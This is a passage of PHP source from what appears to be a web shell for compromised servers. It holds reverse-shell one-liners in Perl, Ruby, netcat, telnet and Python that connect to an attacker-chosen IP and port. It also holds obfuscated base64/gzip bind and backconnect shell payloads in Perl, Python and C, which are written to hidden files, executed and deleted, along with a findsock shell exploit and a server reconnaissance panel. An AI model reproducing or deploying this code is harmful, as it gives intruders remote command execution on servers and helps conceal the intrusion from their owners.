1313 $c='perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"'.$_POST['ip'].':'.$_POST['port'].'");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'';
1314 run($c);
1315 echo "done<br>";
1316 break;
1317 case "ruby":
1318 $c='ruby -rsocket -e \'exit if fork;c=TCPSocket.new("'.$_POST['ip'].'","'.$_POST['port'].'");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\'';
1319 run($c);
1320 echo "done<br>";
1321 break;
1322 case "nc":
1323 $c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && nc '.$_POST['ip'].' '.$_POST['port'].' 0</tmp/.ncnd | /bin/sh 1>/tmp/.ncnd 2>&1';
1324 run($c);
1325 echo "done<br>";
1326 break;
1327 case "telnet":
1328 $c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && telnet '.$_POST['ip'].' '.$_POST['port'].' 0</tmp/.ncnd | /bin/sh 1>/tmp/.ncnd 2>&1';
1329 run($c);
1330 echo "done<br>";
1331 break;
1332 case "python":
1333 $c='python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$_POST['ip'].'",'.$_POST['port'].'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';
1334 run($c);
1335 echo "done<br>";
1336 break;
1337 }
1338 }
1339 echo '<font color="green">- - - - = = = = > > classic</font><br>';
1340 echo '<font color="blue">---> PHP </font><br>';
1341 if (!function_enabled('set_time_limit')) { echo '<font color="gray">warning! set_time_limit off!</font><br>'; }
1342 if (!function_enabled('ignore_user_abort')) { echo '<font color="gray">warning! ignore_user_abort off!</font><br>'; }
1343 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> <input type="submit" value="go"><br>'.$semi.'<input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="phplocal"></form>';
1344 if (function_enabled('fsockopen')) {
1345 if (function_enabled('proc_open')) {
1346 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> <input type="submit" value="go"><br>'.$nc.'<input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="phpremote"></form><br>';
1347 } else { echo 'fail, proc_open is needed for backconnect!<br><br>'; }
1348 } else { echo 'fail, fsockopen is needed for backconnect!<br><br>'; }
1349 //php end
1350 echo '<font color="blue">---> PERL </font><br>';
1351 $searchvar=trim(search("perl",$failflag));
1352 if (empty($searchvar)) {
1353 echo "fail, no perl here<br>";
1354 } else {
1355 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd"> <input type="submit" value="go"><input name="shellz" type="hidden" value="perllocal"><input name="p" type="hidden" value="b"> ';
1356 if (is_writable("./")) {
1357 echo "<font color=\"green\">(./ writable)</font>";
1358 } else {
1359 echo "<font color=\"red\">(./ readonly)</font>";
1360 }
1361 echo '<br>'.$semi.'</form>';
1362 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="shellz" type="hidden" value="perlremote"><input name="p" type="hidden" value="b"><br>'.$nc.'<br></form>';
1363 }
1364 //perl end
1365 echo "<br>";
1366 echo '<font color="blue">---> PYTHON </font><br>';
1367 $searchvar=trim(search("python",$failflag));
1368 if (empty($searchvar)) {
1369 echo "fail, no python here<br>";
1370 } else {
1371 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd"> <input type="submit" value="go"><input name="shellz" type="hidden" value="pylocal"><input name="p" type="hidden" value="b"> ';
1372 if (is_writable("./")) {
1373 echo "<font color=\"green\">(./ writable)</font>";
1374 } else {
1375 echo "<font color=\"red\">(./ readonly)</font>";
1376 }
1377 echo '<br>'.$semi.'</form>';
1378 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="pyremote"><br>'.$nc.'<br></form>';
1379 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">fully interactive backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="pyint"><br></form>';
1380 echo '<font color="gray">you need to run special client first: <a href="#" onclick="showTooltip(2)" id="link2"> >> show code << </a><br>with this one you will be able to run mc, top, vim, etc</font>
1381 <div id="2" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1382 echo '<br>usage: python client.py [host] [port], then input there ^^^^ your host and port.<br>do not remove whitespace!<br>if you see "TERM is not set", run command: export TERM=linux<br>//thanks to ont.rif for interactive backconnect<br>';
1383 echo "<textarea cols=\"80\" rows=\"20\">";
1384 echo gzinflate(base64_decode('dVLBbhoxFLzvV0ypUHcly5BWvaDmEKVEQm1BKhv1sEFou/sAKxsb2U4Ifx8/mySEKAfWsj0zb2bM58G9s4P/Sg9IP2C79xujM3W3NdbDmeaWvMDW7wU8fxx11IQTt3cCxmVqhY50zntZ2/UDCvzAt1GGrVXao3ft6jWN0HeoNsb5BSoWXvTQxyupGi5QZNQ5CkSG4RzO2yPAGQMQPZ0jCB9dfY1X7JRZ0bBMS/68vbhaTqbjUjzv57PLX8t5+Xd88Ye53u7D3HgpQw9tjpxNiDivYES665TznPU7H9FjQ1vPvEPSy1p/8WA+Pt3oXsZ9SUfe1rucC5Tz8udkurya/B5PZ6yw26iOUNp7OlL5Vyuv9BorY0POxtzxxuhQ4KjvpJQ3NlZ35C9w84b9CdRta4tDC7Ju2GBevGrPboNA3yWJ2C8TYr63XmAFdgLEUvG9ZVpyVIij5CrAtckL8T7ZQqCKvyiM8Ad5SwmxYOMUtDU/p3HSUh1aP5U+Gw6HSYQxO6s8vTQ5uy4PA0WUSbAwTBvPB2nAy9t0isLadMZRi8ZoHdIoo0MVCUePKlXFEu8ifej4FPmB59NgyfAT'));
1385 echo "</textarea><br>";
1386 echo '</div><br>';
1387 }
1388 //python end
1389 echo "<br>";
1390 echo '<font color="blue">---> C </font><br>';
1391 $searchvar=trim(search("gcc",$failflag));
1392 if (empty($searchvar)) {
1393 echo "fail, no gcc here<br>";
1394 } else {
1395 echo '<font color="gray">don\'t remove ".c" file extension! compiler= '.$searchvar.'</font><br>';
1396 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd.c"><input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="clocal"> ';
1397 if (is_writable("./")) {
1398 echo "<font color=\"green\">(./ writable)</font>";
1399 } else {
1400 echo "<font color=\"red\">(./ readonly)</font>";
1401 }
1402 echo '<br>'.$semi.'</form>';
1403 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc.c"><input type="submit" value="go"><input name="shellz" type="hidden" value="cremote"><input name="p" type="hidden" value="b"><br>'.$nc.'</form>';
1404 }
1405 //c end
1406 echo "<br>";
1407 echo '<font color="blue">---> PHP+C findsock </font><font color="gray">(likely wont work on modern php&apache >= 2009)</font><br>';
1408 $searchvar=trim(search("gcc",$failflag));
1409 if (empty($searchvar)) {
1410 echo "fail, no gcc here<br>";
1411 } else {
1412 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">compile findsock saving binary to: <input name="path" type="text" maxlength="500" size="10" value="./findsock"> <input name="p" type="hidden" value="b"><input type="submit" value="go"><input name="shellz" type="hidden" value="findsock"> <a href="#" onclick="showTooltip(3)" id="link3"> >> help << </a>';
1413 echo '<div id="3" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1414 echo "first save and compile findsock binary, then connect to this shell via nc and specify the path to binary in the request, e.g. if you've saved binary in current dir, make such request: <br><br>h4x0r@localhost$ nc -v ".$_SERVER['SERVER_NAME']." 80 <br> GET ".$_SERVER['SCRIPT_NAME']."?pfs&path=".getcwd()." HTTP/1.0 <br> Host:".$_SERVER['SERVER_NAME']." <press_Enter><br><press_Enter><br><br>and if findsock will succeed, you'll see a shell: <br> sh-3.2$<br><br>use nc, not telnet! do not forget to specify the correct path! <br>additional info: <br>https://bugs.php.net/bug.php?id=38915<br>https://issues.apache.org/bugzilla/show_bug.cgi?id=46425<br>http://pentestmonkey.net/tools/web-shells/php-findsock-shell<br><br></div>";
1415 echo '</form><br><br>';
1416 }
1417 } //failcheck end
1418 if (!empty($_POST["shellz"])) {
1419 //code by security-teams.net
1420 $perlbdcode='#!'.search("perl",$failflag).'
1421 use IO::Socket::INET;
1422 $server = IO::Socket::INET->new(
1423 LocalPort => '.$_POST["port"].',';
1424 $perlbdcode.=gzinflate(base64_decode('bY/RCoIwFIbve4rjiJhhSNemEGYQpYIadBFE6RFHpuKsiPDdc6ZB1C7G9n3/OdsBECt4FNgeQDfAd831wQ88a24rgzf18Mqx99OebhivMPtU2fOd6TrOW8qQlxAxpGR5ZClG0j4jsibcPWnudCyioMOQY3nDcmIcwxCLisqyyDzbJiymUpyX5w52FPKiedQPFitHASCzkehEtG/nbgMFiPHXWZ734/ijGeVCiXpimcqT7qtQt3uY5s30It7SevAC'));
1425 //code by Michael Schierl
1426 $perlbccode='#!'.search("perl",$failflag);
1427 $perlbccode.="\n";
1428 $perlbccode.=gzinflate(base64_decode('lVVtb5pQFP7OrzgaUiChFZxNVxlmru06006MspdkWRqESyVFIHDRNq3/fedeXoTGdZkm5rw859znnPuAeUZgYg2Hi9h9INQQcvQ/uxENDUG0J9bF9cyeggnHfX1wpp+fn5/2y8RiZt9e3GBK184GWv/0tK9j5mp8PZ5MTZ3ZX6yFbYrj+fX3X9pv9GfWvPJ15mtmNyI0ow7topchAewWkW2Dz3A4mV7ZIAszQtKx56VgjoA3VnloFqeUh1hvDKUxjZkvUTeRVOFTiF2C6J6FNFVQIE7BCwiIHUPInrI4IRHIM/vrTxWknkc2vYSuHyUVrLv55Y/5i3U3taafbq2Lm1alSNeJKUmGEMQuDasG9bbQREC7IqEZzpZHieM+yFIglRjM5BHjaO4TmlI2bvYtlo1OAW81d1dekCJ/qRnkoy3sy8m0Gi3Kw7AFyddO9gCaIXjEDyLiyWISeMjSj9P2AeQxoBD4wPL/RiNQ7rCkAs9YSly528uWQdRz7gmlT3AcwXEIPRZZOtkK3r0faBqU2896bFVd3rBV/H+1VWkN/NDCwKjt9kcHWjSnN4QdlJ96s9Y3G1c7Gh1eboW6ms/fQIlJgitk94x2GkSmuGU/BH+YvjY4BAurfhCSKMaVJ4qqK2DqB3Ls+SmygOmMhMSlwKPY+8Xcx8rjmqFinCoo4gUH2Yp4Joojy5fsjrdO6nkOdfBO108gi34ar1WRxuy4j3eGsF0hDVlndy6mGwzi45USxyuRIC5z31fxXdEfoL5DJ+OKkju1mtKNAkdHuBUwTShfI0pDbSz/SmX8IBMfGHiGmjMfH9gBxq5khfu5p6uCAow4fk9ymwaUyDhJzbEJV0o9v00T+0Xkkankr3zriUvSrw7BLWc0lQsGmsqrTWAa2PFvMUhnPyafIfLjPGITF9eIveOcmlwVIG65veU24TZhNhYQdmJBrKBU9cHXvI6pxnUzyamFtPYz1CReQRlMZRo9CN0Jbhjjn0shv8Ku5FlwZSxPuH3CJzGEPw=='));
1429 //author/license unknown
1430 $cbdcode=gzinflate(base64_decode('bVBha8IwEP3eX3FMmOns1H2uDoo6kDEV7ZexSejaVA9rKkkUq+y/75q6Drd9CHl59y737jVQxtk+EdDTJsG8vX50Gj8UrmSU/eIK3THFTui/tM7jjTDXvBQG6XRQljxKA6TiidCeBXGGFVBxdWdCEhDqIBTfYeIBKUrgO9qofWzbN1GSKI7S6nj58OG/MrUKaSqBHb2NiGUlitSKBsbrSMEd4cPb0nXOYEXoO2muGPa7PvZKnY+tlgtnZyu2Whhm5bj0mu/HbtOjsWT5m3Rd3/m0VuNdUZHdpXdDAWgTmRuqXraHPlRpseCJjyej0IPFdPDMF+F8FLx4MJ7N5tNwysPBzKXlMAVWd/bh/sEFRxzRMEJU/jgJlTNWrePCbZ0LRYknkaesZkqH9aOtUfI02mJWkKGLkzLLK0EF7EWqtcllxsaTYDic82DySv99AQ=='));
1431 $cbdcode.='serv_addr.sin_port = htons('.$_POST["port"].');';
1432 $cbdcode.="\n";
1433 $cbdcode.=gzinflate(base64_decode('hVJBasMwELznFVsfilRUEgd6cnNOcymF0rNxpbUtImwjKWloyd+7suzGaQjBIHtn2PHMINfK3EpYwaduFHM0KXQCmPN2Jz0QsC2UsvDA4d6h3edhEuD0N7Yl+0M4z2a6hF6A5O5WsOAww4P27DHlGfRk2dot42fkInAOfVfZjtE3DbpqCsPeN+uXjzcB9M4369ebEmMMo53H5hTk6bqxfvGr1gaBpRx+oorBhmSGfNJobHxMmPU0IUQXUmLnb9Q1WRZUXtSe2AlSz//sEJZ3WtEvKipFKxb7sXu0Ax4bGOqYMDEZhVC7bjnqi170DEkvkCV5wgNKw5I53YK5qxORhIPJughRBmetw3EnACfTxwt2dqTnFw=='));
1434 //author/license unknown
1435 $cbccode=gzinflate(base64_decode('XVBNawIxEL3nVwwrlESjq161BRELUqui25Msy5pku6FrIkksVfG/N7vWj3oYMvPmzZuXqUnFih0X0LeOS93KX1DtBu1taDX7Eu4/roSTPkKpSlwqB5tUKlwmqflkFFieGqj7/HsVE3SsKBnvIevMjjkoNVPOTSIVWKl6iKdioxXu0DbxJC/rI8nSjSz28AyD12Q8HUW3zlYb5/HcaWVx6rTE1apuTO7GywUtWz2eW/qt8jO1E5MeoPVBGH0BqDdXCHXtNzqNe6QSB5RxL3a+Cf7zRWE5G74ly2gxGrxTGM/ni1k0S6LhnICfkBlgzLRSgjmccQr44QpQJ/DkHVN/i4PQ2WOfENJvEziirTBGGxysmjFcBEngvyx+pMPl6U6I77bdaktZXovOfdGtJgQrcBCupQptHtDA5tCUAYXpx2Ti+6zQVnh2+eUT+gU='));
1436 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
1437 $findsock=gzinflate(base64_decode('bVLbTsMwDH3vV5gioaR09zdG+QLEG0+ApqxJN4suqZIUcRH/jp11Y0yoUhIfHx87J71EW7e9NnAbPsIkuPrVxPH2Lrv8xaNGdw55tJu/mPKdmqA9ryaAQcr8xXuLJMwY2gg7hRYEn5Tf1CXUW+WLgoM3CV8ZNiA4ARcVLBjoqH9sRP4Y1MbcQINW8+iAHXTOx2eby2Vm3jGKKR2+M9aDgikrolRJ+Gn2sjxNcOEhNacUXbKvI3BOae1XNKEP6l+8ZZynD/hpSIM31wiiy6GFNzsXDTV/Wkxf9txGL7PGeRCNrhZLCm83Juqo1q3heiEZu74+3J+SnTHeqp2hihKuSJ1Wpkr2ZTRjJg1n6+5DHPuVwPavbHRKFGKYHe2KR4dCsso4DPE4pE2WsGDbuGvS23WneoOLiQRVBdPDhPx+khptgziosqeJlHIqOhRHr2Wa18SAmu6a6b6bp4tNT4PZaTBnN1sX2ID0vqZuRT5Zo5307Etewlk0UrQ+PN7fn9HD9sjdH0f4S/xO3/4XA5GP8wH7AQ=='));
1438 //code by b374k
1439 $pybdcode="#!".search("python",$failflag)."\n";
1440 $pybdcode.=gzinflate(base64_decode('jVTbahsxEH3ehf0HVS/WYmdjO+2LWxlCcUioE5fYhUIIZrOrZEU2kpHkXP6+mpF8aZxCX7zS6MycMzfLp5U2jmjbI/YNfnT1KFyPOPkksvTy9PdyOrnig/7wc5bOzyfTKafHd1Id24YcVTRLFxeXk+Xs14IPhv1+lv6cXS849fbz2TwcanFPbCPallVPdT7K0sQ2S712XNtipVdCMQzb7RDa6XpIt0M7eWFEWbdSCcty76GiC8RL7rUhkkhFTKkeBGt9hPCcY/QNuMvD90beeqsRbm0UiW9BVVk5qRWrtFLo+dLIVpCFWQuMA/bCClUzOh6PCQUhiTNv+JisvFSOECOqZxYLhRjxWomVizAjlSMUqul5KdqiFiBCeGsDYQIhacB8kCQw5keDkCSCuxxsIcEkkfcEAnA6qisaQe+oPNcOZet3qLPSK4mwjSSICuTAPe5HWwK92PU0Gnf1gl5kaWkenrmfqQIOWRoDwSX/djIi3isWRxijzVfIG9DiVTo28P6oFeA3g1uv9+gO5eKAoXV4e4gxlJSq3hGNTw59EhxNvJ5gCJ8r2bIi1sticMhRth9U345Hln/iWIGtyr5/h33hYWmK8GHxdnq2vLiaLDYrVcxn338s54vryell9PPVcnEy2GaPAuVB2gj3e1cz1ml1VbaNtq7TI6gy3wBaaZ1PHXSZteKh7WGs/R3ivC/XaDPUqLKAHorKMcKgSDE82Z9qsj/WIIKslV/WqinvWhFmF1IqbCvEin3JtxMOCnhcOeCCl+2cgYIEN7FX1rXJsaJFWQEl+6+l2iMdfEyKe35QAl9eEia3Wbtavyg2PFBGYrPgr4D+VYx/sAb8fsA/'));
1441 //code by ont.rif
1442 $pyintserver="#!".search("python",$failflag)."\n";
1443 $pyintserver.="import sys, socket, os, pty, fcntl, struct, termios, select, resource\n";
1444 $pyintserver.="host = \"".$_POST["ip"]."\"\n";
1445 $pyintserver.="port = ".$_POST["port"]."\n";
1446 $pyintserver.=gzinflate(base64_decode('hVT9i+IwEP29f8XcgjSFXlfXdT+EPVg8lyvnKqzCwalIL41rsCYliav+9zfpl9VdsNjGJm9m3ry81KhD1wEt6RqesoGZIB9I+fr8sgiH/Ylfvo9Hvd+L8eSt//wKXh4bUCkEoxhDVlIbH1KpjIerbE9ZarBCqrgwcAW9SLgGCvi3mbhyQOpgwfYcg1sYYTJCfGmnl1KtiQc/oNmtoZq26iVAXhhG475SUvnA7FDxcMFGdqERA2lobyZcaADJQQE+hSwiAm1U9gdTYoF4m97kugRLnjAhiYeyHDTCYi6qObiMlltzhF9EI4U6uhSzoWcKnxnqgynNpXBSHvtAVzyJF8sY9zQ1h0ImBzUT0gAiuuBALjRMwlFv/Cccjv8i+J2ZyBhFDFMbLrUP7nHZ9eH7Tev27vHmsXPXwi2we1CPfgJcfmi27+/bnYFNfZq7Foxr2trNqC01QRrRNXF/4YUlbps+POBtf7bGkgqTBFxSk5CvtPNrRVAua43Kc5BGWjuwifa5FIppuVWUBdimSvgGvVJNvQ3C13CyGI5ewkHfmzbnjrUIcOACVCTeGYG2X6bybPJCP+s7mkjNgHBL+NR4GSKngTi2Z/SDgHv9j4trvcJ2p647R8473C8GE7VlGIBu3aH9rEAswVMS5AOBabWv/qlPYI6ZirtTnI7KAraBOl9sGVMjG8WimNRStpr2suFZUzvFDftkSBt9bDNvL3fjT44SZNnA8A0D3CUP7VlkOzu7p/RLimfUzkq3SnZHckfyJa/C4/j6iRvb4FkoPmJfM/sP'));
1447 switch ($_POST["shellz"]) {
1448 case "phpremote":
1449 // code by pentestmonkey.net. license: GPLv2
1450 $ip=($_POST["ip"]);
1451 $port=($_POST["port"]);
1452 $chunk_size=1400;
1453 $write_a=null;
1454 $error_a=null;
1455 $shell='/bin/sh -i';
1456 $daemon = 0;
1457 function printit ($string) { if (!$daemon) { print "$string\n"; }}
1458 if (function_exists('pcntl_fork')) {
1459 $pid = pcntl_fork();
1460 if ($pid == -1) { printit("ERROR: Can't fork<br>"); exit(1); }
1461 if ($pid) { exit(0); }
1462 if (posix_setsid() == -1) { printit("Error: Can't setsid()<br>"); exit(1); }
1463 $daemon = 1;
1464 } else { printit("WARNING: Failed to daemonise!<br>"); }
1465 umask(0);
1466 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
1467 if (!$sock) { printit("$errstr ($errno)"); exit(1); }
1468 $process = proc_open($shell, $descriptorspec, $pipes);
1469 if (!is_resource($process)) { printit("ERROR: Can't spawn shell<br>"); exit(1); }
1470 stream_set_blocking($pipes[0], 0);
1471 stream_set_blocking($pipes[1], 0);
1472 stream_set_blocking($pipes[2], 0);
1473 stream_set_blocking($sock, 0);
1474 printit("Successfully opened reverse shell to $ip:$port<br>");
1475 while (1) {
1476 if (feof($sock)) { printit("ERROR: Shell connection terminated<br>"); break; }
1477 if (feof($pipes[1])) { printit("ERROR: Shell process terminated<br>"); break; }
1478 $read_a = array($sock, $pipes[1], $pipes[2]);
1479 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
1480 if (in_array($sock, $read_a)) {
1481 $input = fread($sock, $chunk_size);
1482 fwrite($pipes[0], $input);
1483 }
1484 if (in_array($pipes[1], $read_a)) {
1485 $input = fread($pipes[1], $chunk_size);
1486 fwrite($sock, $input);
1487 }
1488 if (in_array($pipes[2], $read_a)) {
1489 $input = fread($pipes[2], $chunk_size);
1490 fwrite($sock, $input);
1491 }
1492 }
1493 fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);@proc_close($process);
1494 //php backconnect end
1495 break;
1496 case "phplocal":
1497 // code by metasploit.com. license unknown, assuming BSD
1498 $port=$_POST["port"];
1499 $scl='socket_create_listen';
1500 if (function_enabled($scl)) {
1501 $sock=@$scl($port);
1502 } else {
1503 $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
1504 $ret=@socket_bind($sock,0,$port);
1505 $ret=@socket_listen($sock,5);
1506 }
1507 $msgsock=@socket_accept($sock);
1508 @socket_close($sock);
1509 while (FALSE !== @socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) {
1510 $buffer = '';
1511 $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
1512 if (FALSE === $c) { break; }
1513 if (substr($c,0,3) == 'cd ') {
1514 chdir(substr($c,3,-1));
1515 } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
1516 break;
1517 } else {
1518 if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1\n"; }
1519 if (function_enabled('shell_exec')) {
1520 $buffer=shell_exec($c);
1521 } else if(function_enabled('passthru')) {
1522 ob_start();
1523 passthru($c);
1524 $buffer=ob_get_contents();
1525 ob_end_clean();
1526 } else if(function_enabled('system')) {
1527 ob_start();
1528 system($c);
1529 $buffer=ob_get_contents();
1530 ob_end_clean();
1531 } else if(function_enabled('exec')) {
1532 $buffer=array();
1533 exec($c,$buffer);
1534 $buffer=join(chr(10),$buffer).chr(10);
1535 } else if(function_enabled('proc_open')) {
1536 $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
1537 $buffer=NULL;
1538 while (!feof($pipes[1])) {
1539 $buffer.=fread($pipes[1],1024);
1540 }
1541 @proc_close($handle);
1542 } else if(function_enabled('popen')) {
1543 $fp=popen($c,'r');
1544 $buffer=NULL;
1545 if (is_resource($fp)) {
1546 while (!feof($fp)) {
1547 $buffer.=fread($fp,1024);
1548 }
1549 }
1550 @pclose($fp);
1551 }
1552 else { $buffer=0; }
1553 }
1554 @socket_write($msgsock,$buffer,strlen($buffer));
1555 }
1556 @socket_close($msgsock);
1557 echo "<br><br><font color=\"green\">phplocal done</font>";
1558 break;
1559 //phpbind end
1560 case "perllocal":
1561 $exec_path = trim($_POST['path']);
1562 ob_start();
1563 @sploent516();
1564 ob_end_clean();
1565 $fh=fopen($exec_path,'w');
1566 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1567 else {
1568 fwrite($fh,$perlbdcode);
1569 fclose($fh);
1570 chmod($exec_path,0644);
1571 $c=search("perl",$failflag).' '.$exec_path.' && rm -f '.$exec_path.'';
1572 run($c);
1573 echo "<br><br><font color=\"green\">perllocal done</font>";
1574 }
1575 //perl bind end
1576 break;
1577 case "perlremote":
1578 $exec_path=trim($_POST['path']);
1579 ob_start();
1580 @sploent516();
1581 ob_end_clean();
1582 $fh=fopen($exec_path,'w');
1583 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1584 else {
1585 fwrite($fh,$perlbccode);
1586 fclose($fh);
1587 chmod($exec_path,0644);
1588 $c=search("perl",$failflag).' '.$exec_path.' '.$_POST["ip"].' '.$_POST["port"].' && rm -f '.$exec_path.'';
1589 run($c);
1590 echo "<br><br><font color=\"green\">perlremote done</font>";
1591 }
1592 break;
1593 //perl backconnect end
1594 case "pylocal":
1595 $exec_path = trim($_POST['path']);
1596 ob_start();
1597 @sploent516();
1598 ob_end_clean();
1599 $fh=fopen($exec_path,'w');
1600 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1601 else {
1602 fwrite($fh,$pybdcode);
1603 fclose($fh);
1604 chmod($exec_path,0644);
1605 $c=search("python",$failflag).' '.$exec_path.' -b '.$_POST["port"].' && rm -f '.$exec_path.'';
1606 run($c);
1607 echo "<br><br><font color=\"green\">pylocal done</font>";
1608 }
1609 //python bind end
1610 case "pyremote":
1611 $exec_path=trim($_POST['path']);
1612 ob_start();
1613 @sploent516();
1614 ob_end_clean();
1615 $fh=fopen($exec_path,'w');
1616 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1617 else {
1618 fwrite($fh,$pybdcode);
1619 fclose($fh);
1620 chmod($exec_path,0644);
1621 $c=search("python",$failflag).' '.$exec_path.' -r '.$_POST["port"].' '.$_POST["ip"].' && rm -f '.$exec_path.'';
1622 run($c);
1623 echo "<br><br><font color=\"green\">pyremote done</font>";
1624 }
1625 break;
1626 //python backconnect end
1627 case "pyint":
1628 $exec_path=trim($_POST['path']);
1629 ob_start();
1630 @sploent516();
1631 ob_end_clean();
1632 $fh=fopen($exec_path,'w');
1633 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1634 else {
1635 fwrite($fh,$pyintserver);
1636 fclose($fh);
1637 chmod($exec_path,0644);
1638 $c=search("python",$failflag).' '.$exec_path.' && rm -f '.$exec_path.'';
1639 run($c);
1640 echo "<br><br><font color=\"green\">pyint done</font>";
1641 }
1642 break;
1643 //python interactive end
1644 case "clocal":
1645 $exec_path=trim($_POST['path']);
1646 ob_start();
1647 @sploent516();
1648 ob_end_clean();
1649 $fh=fopen($exec_path,"w");
1650 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1651 else {
1652 fwrite($fh,$cbdcode);
1653 fclose($fh);
1654 $c=search("gcc",$failflag)." -w ".$exec_path." -o ".$exec_path." && ".$exec_path." ".$_POST["port"]." | rm -f ".$exec_path."";
1655 run($c);
1656 echo "<br><br><font color=\"green\">clocal done</font>";
1657 }
1658 break;
1659 //C bind end
1660 case "cremote":
1661 $exec_path=trim($_POST['path']);
1662 ob_start();
1663 @sploent516();
1664 ob_end_clean();
1665 $fh=fopen($exec_path,"w");
1666 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1667 else {
1668 fwrite($fh,$cbccode);
1669 fclose($fh);
1670 $c=search("gcc",$failflag)." ".$exec_path." -o ".$exec_path." && ".$exec_path." ".$_POST["ip"]." ".$_POST["port"]." | rm -f ".$exec_path."";
1671 run($c);
1672 }
1673 break;
1674 case "findsock":
1675 $fs_path=trim($_POST['path']);
1676 ob_start();
1677 @sploent516();
1678 ob_end_clean();
1679 $fh=fopen($fs_path.".c","w");
1680 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1681 else {
1682 fwrite($fh,$findsock);
1683 fclose($fh);
1684 $c=search("gcc",$failflag)." ".$fs_path.".c -o ".$fs_path." && rm -f ".$fs_path.".c";
1685 run($c);
1686 echo "<br>compiled, now connect to shell via nc and request ?pfs&path=".$fs_path."<br>";
1687 }
1688 break;
1689 }
1690 }
1691 echo $pageend;
1692 break;
1693// --------------------------------------------- bind end; extras
1694 case "e":
1695 if (empty($_POST["extraz"]) and $download != "1") {
1696 echo $title;
1697 echo '<font color="blue">---> SysInfo</font><br>';
1698 echo '<br><a href="#" onclick="showTooltip(6)" id="link5"> >> show << </a>
1699 <div id="6" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1700 echo 'SERVER_ADDR: '.getenv('SERVER_ADDR').'<br>';
1701 echo 'REMOTE_ADDR: '.getenv('REMOTE_ADDR').'<br>';
1702 echo 'HTTP_X_FORWARDED_FOR: '.getenv('HTTP_X_FORWARDED_FOR').'<br>';
1703 echo 'HTTP_PROXY_CONNECTION: '.getenv('HTTP_PROXY_CONNECTION').'<br>';
1704 echo 'HTTP_VIA: '.getenv('HTTP_VIA').'<br>';
1705 echo 'HTTP_USER_AGENT: '.getenv('HTTP_USER_AGENT').'<br>';
1706 echo 'SERVER_SOFTWARE: '.getenv("SERVER_SOFTWARE").'<br>';
1707 echo "php API: ".php_sapi_name()."<br>";
1708 echo "php version: ".version()." (full: ".phpversion().")<br>";
1709 echo 'disable_functions: '.ini_get('disable_functions').'<br>';
1710 sploent516();
1711 echo "<br>";
1712 echo "current dir: ".getcwd()."<br>";
